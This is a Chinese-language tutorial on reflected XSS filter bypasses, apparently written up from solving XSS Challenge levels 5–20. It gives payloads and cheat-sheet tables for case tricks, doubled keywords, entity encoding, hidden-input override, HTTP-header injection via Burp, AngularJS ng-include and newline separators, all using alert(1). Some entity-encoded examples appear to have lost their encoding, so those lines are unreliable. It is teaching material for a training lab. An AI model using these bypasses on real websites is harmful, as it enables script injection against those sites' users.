XSS绕过技巧完全指南
XSS 绕过技巧完全指南
本文档整理自 XSS Challenge(hackhub.get-shell.com)level5–level16 的实战通关过程,涵盖反射型 XSS 的主流绕过手法。每 个技巧都包含:原理、适用场景、payload 示例和注意事项。面向初学者,从零讲起。
目录
- 前置知识:XSS 基础
- 技巧一:换向量——避开被过滤的关键字
- 技巧二:大小写绕过
- 技巧三:双写还原(删除型过滤)
- 技巧四:HTML 实体编码(属性值上下文)
- 技巧五:JS 注释骗语义校验
- 技巧六:隐藏输入框覆盖(type=hidden)
- 技巧七:HTTP 头注入(Referer / UA / Cookie)
- 技巧八:前端框架注入(AngularJS ng-include)
- 技巧九:换行符代替空格
- 通用方法论:遇到过滤怎么分析
- 速查表:所有 payload 一览
1. 前置知识:XSS 基础
什么是 XSS
XSS(跨站脚本攻击)是指攻击者把恶意 JavaScript 代码注入到网页中,当其他用户浏览该网页时,代码在用户浏览器中执行。
反射型 XSS 的基本原理
服务器把用户输入的参数直接塞进 HTML 页面返回。例如:
http://example.com/search?keyword=hello
服务器返回:
<h2>搜索结果:hello</h2>
如果输入改成 <script>alert(1)</script>,服务器不过滤直接塞进去:
<h2>搜索结果:<script>alert(1)</script></h2>
浏览器解析到 <script> 标签,执行其中的 JS 代码,弹出一个弹框——这就是 XSS。
常见注入点(输出位置)
用户输入可能出现在 HTML 的不同位置,每个位置的绕过方式不同:
| 注入位置 | 示例 | 特点 |
|---|---|---|
| HTML 标签之间(文本节点) | <h2>[输入]</h2> |
可直接注入 <script> 或事件标签 |
| HTML 属性值 | <input value="[输入]"> |
需要先闭合引号和属性 |
| HTML 属性名 | <input [输入]="..."> |
属性名不被 HTML 实体解码 |
| href 属性值 | <a href="[输入]"> |
支持 javascript: 伪协议,属性值会被解码 |
| HTTP 头 | Referer、User-Agent、Cookie | 需要抓包工具修改 |
闭合的思路
如果输入在属性值里,比如 <input value="[输入]">,要注入新属性或新标签,需要先"闭合":
- 用
"闭合 value 的引号 - 注入新内容
- 处理模板尾部多余的引号(用
//注释或x=""消化)
输入: " onfocus=alert(1) //
结果: <input value="" onfocus=alert(1) //"">
↑ // 注释掉后面的引号
2. 技巧一:换向量——避开被过滤的关键字
适用场景
服务器过滤了 on(破坏所有事件处理器)和 script(破坏 <script> 标签),但你发现 <> 尖括号没有被转义。
原理
事件处理器(onmouseover、onerror、onload...)都以 on 开头,过滤 on 就全废了。<script> 标签被过滤 script 也没了。但 HTML 里还有不含 on 也不含 script 的执行 JS 的方式——<a> 标签的 javascript: 伪协议。
Payload
"><a href="javascript:alert(1)">点我</a>
拆解
| 片段 | 作用 |
|---|---|
"> |
闭合当前标签的 value 属性引号,再闭合标签本身 |
<a href="javascript:alert(1)"> |
注入一个超链接,href 用 javascript: 伪协议 |
点我 |
链接显示文字(用户需要点击才触发) |
为什么能绕过
<a>标签不含on✓javascript这个词不含script(它是java+script,但过滤的是独立的script关键字)✓javascript:伪协议在 href 中点击时执行 JS ✓
关键认知
javascript和script是不同的词。过滤器如果只匹配script这个关键字,javascript不受影响。这是一个容易被忽略的细节。
2. 技巧二:大小写绕过
适用场景
过滤器只匹配小写关键字(如只匹配小写 on 或小写 <script),且 <> 尖括号可用。
原理
HTML 标签名和属性名不区分大小写。<SCRIPT> 和 <script> 在浏览器看来完全一样,都会执行。但很多过滤器用 str_replace("script", ...) 这种大小写敏感的函数,只认小写。
Payload
"><SCRIPT>alert(1)</SCRIPT>
或混写:
"><ScRipt>alert(1)</ScRipt>
事件处理器也能用:
" Onfocus=alert(1) autofocus //
" ONMOUSEOVER=alert(1) //
为什么能绕过
- 过滤器找
script→ 找不到SCRIPT(大小写不同)→ 放行 - 浏览器解析 →
SCRIPT等同于script→ 正常执行
怎么判断过滤器是否大小写敏感
输入 Onfocus,看输出:
- 输出
Onfocus(原样保留)→ 大小写敏感,可以用大小写绕过 - 输出
O_nfocus或被删 → 不区分大小写,这招不行
2. 技巧三:双写还原(删除型过滤)
适用场景
过滤器的行为是删除关键字(而不是替换成别的字符)。比如把 on 直接删掉,把 script 直接删掉。
原理
删除型过滤通常只做一次扫描删除。如果你把被过滤的关键字"嵌套"写——在原词内部插入一个完整的被过滤词——过滤器删掉插入的那个,剩下的正好拼回原词。
关键判断:删除型 vs 替换型
| 过滤类型 | 输入 onfocus 的输出 |
能否双写还原 |
|---|---|---|
删除型(on→空) |
focus(变短了) |
✅ 可以 |
替换型(on→o_n) |
o_nfocus(变长了) |
❌ 不行 |
看输出变短还是变长:变短 = 删除型 = 可以双写;变长 = 替换型 = 换别的路子。
Payload
script 双写:
"><scrscriptipt>alert(1)</scrscriptipt>
拆解:
输入: s c r [s c r i p t] i p t
↑ 嵌入的 "script"
过滤器删掉嵌入的 "script":
输出: s c r i p t = "script" ✓
on 双写:
" ononfocus=alert(1) //
拆解:
输入: o n [o n] f o c u s
↑ 嵌入的 "on"
过滤器删掉嵌入的 "on":
输出: o n f o c u s = "onfocus" ✓
常见错误
❌ oonfocus → 删掉 on(第2-3位)→ ofocus(不对!)
✅ ononfocus → 删掉第一个 on(第1-2位)→ onfocus(正确!)
核心要点:把完整的被过滤词插入到原词的开头或中间,使得删除后两半能拼回原词。不是简单地在前面加一两个字符。
2. 技巧四:HTML 实体编码(属性值上下文)
适用场景
注入点在 HTML 属性值里(如 <a href="[输入]">),且关键字被过滤。比如 javascript 里的 script 子串被替换或删除。
原理
浏览器在解析 HTML 属性值时,会先做 HTML 实体解码,然后再处理内容。所以你把关键字里的某个字母写成 HTML 实体,过滤器看到的是"不含关键字的字符串"放行,浏览器解码后还原成完整关键字。
关键限制
| 注入位置 | 实体编码有效吗 | 原因 |
|---|---|---|
属性值(如 href="...") |
✅ 有效 | 浏览器解码属性值 |
属性名(如 onfocus) |
❌ 无效 | 属性名不被解码 |
标签名(如 <script>) |
❌ 无效 | 标签名不被解码 |
Payload
把 javascript 里的 p 编码成 p:
javascript:alert(1)
| 视角 | 看到的内容 | 结果 |
|---|---|---|
| 过滤器 | javascript(不含完整 script) |
放行 |
| 浏览器 | 解码 p→p → javascript:alert(1) |
执行 |
其他编码变体
javascript:alert(1) ← i 编码成 i
javascript:alert(1) ← j 编码成 j
javascript:alert(1) ← i 编码成十六进制 i
常用 HTML 实体编码表
| 字符 | 十进制实体 | 十六进制实体 |
|---|---|---|
| a | a |
a |
| e | e |
e |
| i | i |
i |
| j | j |
j |
| n | n |
n |
| p | p |
p |
| s | s |
s |
| t | t |
t |
2. 技巧五:JS 注释骗语义校验
适用场景
服务器不做字符级过滤,而是做语义校验——要求输入必须像合法 URL(比如必须包含 http://),否则拒绝。
原理
http:// 必须出现(骗过校验),但又不能干扰 javascript: 执行。靠的是 JavaScript 的行注释 //:// 后面的内容被 JS 引擎当作注释忽略,不执行。
Payload
javascript:alert(1)//http://
拆解
| 部分 | 骗谁 | 作用 |
|---|---|---|
p |
骗 script 过滤器 |
打断 script 子串,过滤器放行 |
//http:// |
骗 http:// 合法性校验 |
字符串包含 http://,校验通过 |
//(JS 注释) |
骗 JS 执行引擎 | 执行时 http:// 被注释掉,不报错 |
浏览器最终解码 + 执行的是:
javascript:alert(1) // http:// 被注释掉了
核心思路
让校验条件和执行条件分离:一个 payload 同时伺候两个目标(过滤器要
http://,JS 引擎不要http://),用//让http://对校验"可见"、对执行"不可见"。
2. 技巧六:隐藏输入框覆盖(type=hidden)
适用场景
注入点在 <input type="hidden"> 的 value 属性里。hidden 输入框不可见、不可交互,注入了事件处理器(如 onfocus)也触发不了——因为你点不到它、鼠标移不上去。
原理
HTML 规则:重复属性取第一个。模板原本是 value="" type="hidden",如果你注入 type="text",那么注入的 type="text" 出现在前面,浏览器取它,hidden 被覆盖成 text,框就变可见了。
Payload
" type="text" onfocus=alert(1) autofocus //
填入模板后的效果
<input name="t_sort" value="" type="text" onfocus=alert(1) autofocus //" type="hidden">
| 部分 | 作用 |
|---|---|
" |
闭合 value 属性的引号 |
type="text" |
覆盖 hidden,让框变可见可交互 |
onfocus=alert(1) |
获得焦点时触发 alert |
autofocus |
自动聚焦,无需鼠标点击就能触发 |
// |
注释掉模板尾部的引号 |
autofocus 的妙用
autofocus 让 input 自动获得焦点 → 触发 onfocus → 执行 alert(1)。不需要任何用户交互,页面加载就自动触发,做 PoC(概念验证)非常方便。
2. 技巧七:HTTP 头注入(Referer / UA / Cookie)
适用场景
页面里有一些隐藏的 input 框,名字暗示来源(如 t_ref→Referer、t_ua→User-Agent、t_cook→Cookie),它们的 value 不是从 URL 参数读的,而是从 HTTP 请求头读的。
原理
HTTP 请求头(Referer、User-Agent、Cookie 等)是用户可控的输入。如果服务器把这些头的值塞进页面回显,就构成注入点。和 URL 参数注入的 payload 完全一样,区别只在于输入方式——需要用抓包工具改请求头。
三个头的注入方式
| HTTP 头 | 对应 input 名 | 怎么修改 |
|---|---|---|
| Referer | t_ref |
Burp Suite 抓包改 Referer: 行 |
| User-Agent | t_ua |
Burp Suite 抓包改 User-Agent: 行 |
| Cookie | t_cook |
Burp Suite 抓包改 Cookie: 行 |
Payload(三个头通用)
" type="text" onfocus=alert(1) autofocus //
用 Burp Suite 修改请求头
- 浏览器配置代理
127.0.0.1:8080指向 Burp - 访问目标页面,Burp 拦截请求
- 找到对应的头(如
User-Agent:),把值替换为 payload - 点击 Forward 放行请求
修改后的请求示例:
GET /level12.php HTTP/1.1
Host: ...
User-Agent: " type="text" onfocus=alert(1) autofocus //
...
核心认知
URL 参数只是可控输入的一种,HTTP 头同样是用户可控、同样会被服务器回显到页面。以后做渗透,所有请求头都该过一遍,看哪个被回显。见到
t_ref/t_ua/t_cook这类名字带暗示的输入框,第一反应就是去测对应的 HTTP 头。
2. 技巧八:前端框架注入(AngularJS ng-include)
适用场景
页面引入了 AngularJS 框架(<html ng-app>),且存在 ng-include 指令,其值用户可控。服务器本身不过滤任何字符,但 Angular 的沙箱会拦截直接的表达式注入。
原理
AngularJS 的 ng-include 指令可以加载并渲染一个外部 HTML 片段。如果让它加载一个有反射型 XSS 的页面(比如同站的另一个页面,该页面不过滤),加载进来的 HTML 会被插入 DOM,其中的事件处理器(如 <img onerror>)就会触发。
为什么直接的表达式注入不行
{{constructor.constructor('alert(1)')()}}
AngularJS 1.2.0 有沙箱机制,会把 constructor、Function 等标记为"不安全对象"(ensureSafeObject),拦截访问。直接用表达式执行 JS 会被沙箱挡住。
Payload(借刀杀人)
src='level1.php?name=<img src=x onerror=alert(1)>'
攻击链条
level15 的 ng-include(可控)
→ 加载 level1.php?name=<img src=x onerror=alert(1)>
→ level1 原样反射 <img src=x onerror=alert(1)>(level1 没有过滤)
→ ng-include 把这段 HTML 插入 DOM
→ 浏览器尝试加载图片 x,失败
→ onerror 触发 → alert(1)
关键洞察
AngularJS 沙箱只管
{{}}表达式求值,管不到 ng-include 加载的 HTML 内容。如果被加载的页面有反射 XSS,就等于"借刀杀人"——框架的沙箱保护不了它加载的外部内容。这是"绕不过就绕路"的典型:不正面硬刚沙箱逃逸,而是换一条不经过沙箱的注入路径。
2. 技巧九:换行符代替空格
适用场景
过滤器把空格替换成 (或其他不可用字符),导致标签属性之间没有真正的空格,浏览器无法识别属性边界。
原理
HTML 属性之间不只接受空格,还接受多种空白字符作为分隔符。浏览器解析时把它们都当属性分隔符,但过滤器的空格替换规则可能只针对普通空格(0x20),没覆盖其他空白字符。
可用的替代字符
| 字符 | URL 编码 | 说明 |
|---|---|---|
| 换行符 | %0A |
最常用,通常不被过滤 |
| 回车符 | %0D |
同上 |
| 制表符 Tab | %09 |
同上 |
斜杠 / |
%2F |
也能分隔属性,但常被封 |
Payload
<img%0Asrc=x%0Aonerror=alert(1)>
(%0A 是换行符的 URL 编码)
过滤前后的对比
输入:
<img%0Asrc=x%0Aonerror=alert(1)>
过滤器处理后(只替换普通空格,不处理 %0A):
<img
src=x
onerror=alert(1)>
浏览器解析: 把换行符当属性分隔符 → 正常识别为 <img src=x onerror=alert(1)> → 加载图片失败 → onerror 触发。
逐个试探
每个过滤器封的字符不同,需要逐个试:
- 先试空格 → 被
替换 → 不行 - 试
/→ 也被封 → 不行 - 试
%0A(换行)→ 放行 → 成功!
3. 通用方法论:遇到过滤怎么分析
第一步:摸清过滤规则
输入一组测试字符,一次测出所有可疑字符和关键字的过滤情况:
"'<>()onscriptjavascript
对比输入和输出,做"逐字符对照表":
| 字符 | 输入 | 输出 | 结论 |
|---|---|---|---|
" |
" |
" |
被转义 |
< |
< |
< |
被转义 |
> |
> |
> |
被转义 |
on |
on |
o_n |
被替换(增加字符型) |
script |
script |
scr_ipt |
被替换(增加字符型) |
注意:测试字符不要紧挨着拼在一起(如
onscript),否则可能互相干扰,看不出真实过滤边界。留空格分开测更准确。
第二步:判断过滤类型
| 过滤后表现 | 过滤类型 | 对策 |
|---|---|---|
输出变短(如 onfocus→focus) |
删除型 | 双写还原 |
输出变长(如 on→o_n) |
替换型(增加字符) | 换向量 |
字符变成 " < 等 |
HTML 实体转义 | 看转义在哪一层,找编码绕过 |
| 关键字大小写不同结果不同 | 大小写敏感 | 大小写绕过 |
第三步:判断注入点位置
| 注入位置 | 可用技巧 |
|---|---|
| HTML 文本节点 | <script> 标签、事件标签(需 <> 可用) |
| 属性值 | 闭合引号 + 注入属性/事件;HTML 实体编码;javascript: 伪协议(href) |
| 属性名 | 实体编码无效,只能大小写/双写/换向量 |
| href 属性值 | javascript: 伪协议 + 实体编码 + JS 注释 |
| hidden input | type="text" 覆盖 + autofocus |
| HTTP 头 | 抓包工具修改,payload 同上 |
| 前端框架 | 利用框架特性(ng-include 加载等),绕过沙箱 |
第四步:按决策树选择绕过方式
过滤后输出比输入短吗?
├─ 是 → 删除型 → 双写还原
└─ 否 → 替换/转义型
├─ 试大小写(Onfocus / <SCRIPT>)→ 过了说明大小写敏感
└─ 大小写也封
├─ 注入点在属性值?→ HTML 实体编码
├─ 注入点在 href?→ javascript: 伪协议 + 实体编码
├─ 有语义校验?→ JS 注释(//http://)
└─ 以上都不行 → 换不含被过滤关键字的向量
第五步:不要在一条死路上耗
- 事件处理器被封 → 换
javascript:伪协议 script被封 → 换不含 script 的标签或协议<>被转义 → 找第二个反射点(其他参数、HTTP 头)- 当前标签内搞不定 → 看看同参数有没有别的输出位置,过滤策略可能不同
XSS 的向量很多,一个被封换下一个,别死磕。先侦察(摸清过滤规则),再攻击(选对绕过方式)。
4. 速查表:所有 Payload 一览
按技巧分类
# 1. 换向量(避开 on 和 script)
"><a href="javascript:alert(1)">点我</a>
# 2. 大小写绕过
"><SCRIPT>alert(1)</SCRIPT>
" Onfocus=alert(1) autofocus //
# 3. 双写还原(删除型过滤)
"><scrscriptipt>alert(1)</scrscriptipt>
" ononfocus=alert(1) autofocus //
# 4. HTML 实体编码(属性值,如 href)
javascript:alert(1)
# 5. JS 注释骗语义校验(必须含 http://)
javascript:alert(1)//http://
# 6. 隐藏输入框覆盖(type=hidden)
" type="text" onfocus=alert(1) autofocus //
# 7. HTTP 头注入(Referer/UA/Cookie,payload 同上)
" type="text" onfocus=alert(1) autofocus //
# 8. AngularJS ng-include 借刀杀人
src='level1.php?name=<img src=x onerror=alert(1)>'
# 9. 换行符代替空格
<img%0Asrc=x%0Aonerror=alert(1)>
按过滤场景速查
| 过滤了什么 | 用哪个技巧 | Payload |
|---|---|---|
on + script(替换型),<> 可用 |
换向量 | "><a href="javascript:alert(1)">点我</a> |
on + script(小写敏感),<> 可用 |
大小写 | "><SCRIPT>alert(1)</SCRIPT> |
on + script(删除型) |
双写 | "><scrscriptipt>alert(1)</scrscriptipt> |
script(属性值上下文) |
实体编码 | javascript:alert(1) |
必须含 http:// |
JS 注释 | javascript:alert(1)//http:// |
type=hidden |
覆盖 hidden | " type="text" onfocus=alert(1) autofocus // |
| 注入点在 HTTP 头 | 抓包改头 | " type="text" onfocus=alert(1) autofocus // |
| 空格被封 | 换行符 | <img%0Asrc=x%0Aonerror=alert(1)> |
| AngularJS 沙箱 | ng-include 加载 | src='level1.php?name=<img src=x onerror=alert(1)>' |
常用事件处理器(需用户交互 vs 自动触发)
# 自动触发(无需鼠标交互,推荐做 PoC)
onfocus=alert(1) autofocus # input 自动聚焦
onerror=alert(1) # img 加载失败自动触发
onload=alert(1) # svg/body 加载完成触发
# 需要鼠标交互
onmouseover=alert(1) # 鼠标移过
onclick=alert(1) # 点击
onmouseenter=alert(1) # 鼠标进入
无需 on 事件的自动触发向量
<script>alert(1)</script> # 直接执行(需 <> 可用,script 未被过滤)
<img src=x onerror=alert(1)> # 图片加载失败触发
<svg onload=alert(1)> # SVG 加载完成触发
<details open ontoggle=alert(1)> # details 展开触发
附录:关卡与技巧对照表
| 关卡 | 过滤规则 | 考点 | Payload |
|---|---|---|---|
| 5 | on→o_n,script→scr_ipt |
换向量 | "><a href="javascript:alert(1)">点我</a> |
| 6 | on→o_n,<script→<scr_ipt(小写敏感) |
大小写绕过 | "><SCRIPT>alert(1)</SCRIPT> |
| 7 | on→删除,script→删除(只删一次) |
双写还原 | "><scrscriptipt>alert(1)</scrscriptipt> |
| 8 | script→scr_ipt,注入点在 href |
HTML 实体编码 | javascript:alert(1) |
| 9 | 必须包含 http:// |
JS 注释骗校验 | javascript:alert(1)//http:// |
| 10 | <> 转义,注入点在 hidden input |
覆盖 hidden + autofocus | " type="text" onfocus=alert(1) autofocus // |
| 11 | <> 转义,注入点在 Referer 头 |
HTTP 头注入 | 同上(Burp 改 Referer) |
| 12 | <> 转义,注入点在 UA 头 |
HTTP 头注入 | 同上(Burp 改 User-Agent) |
| 13 | <> 转义,注入点在 Cookie 头 |
HTTP 头注入 | 同上(Burp 改 Cookie) |
| 14 | 外部 EXIF 查看器(已失效) | EXIF XSS(认知) | — |
| 15 | AngularJS 沙箱 | ng-include 借刀杀人 | src='level1.php?name=<img src=x onerror=alert(1)>' |
| 16 | 空格→ ,script→删除 |
换行符代替空格 | <img%0Asrc=x%0Aonerror=alert(1)> |
| 17-20 | Flash XSS(Flash 已淘汰) | 属性注入 + ExternalInterface | arg01=a onmouseover=alert(1)(需 Flash 插件) |
文档总结于 2026-09-01,XSS Challenge level5–level20 通关实践。
核心心法:先侦察(摸清过滤规则和注入点位置),再攻击(选对绕过方式),不要在一条死路上耗。
浙公网安备 33010602011771号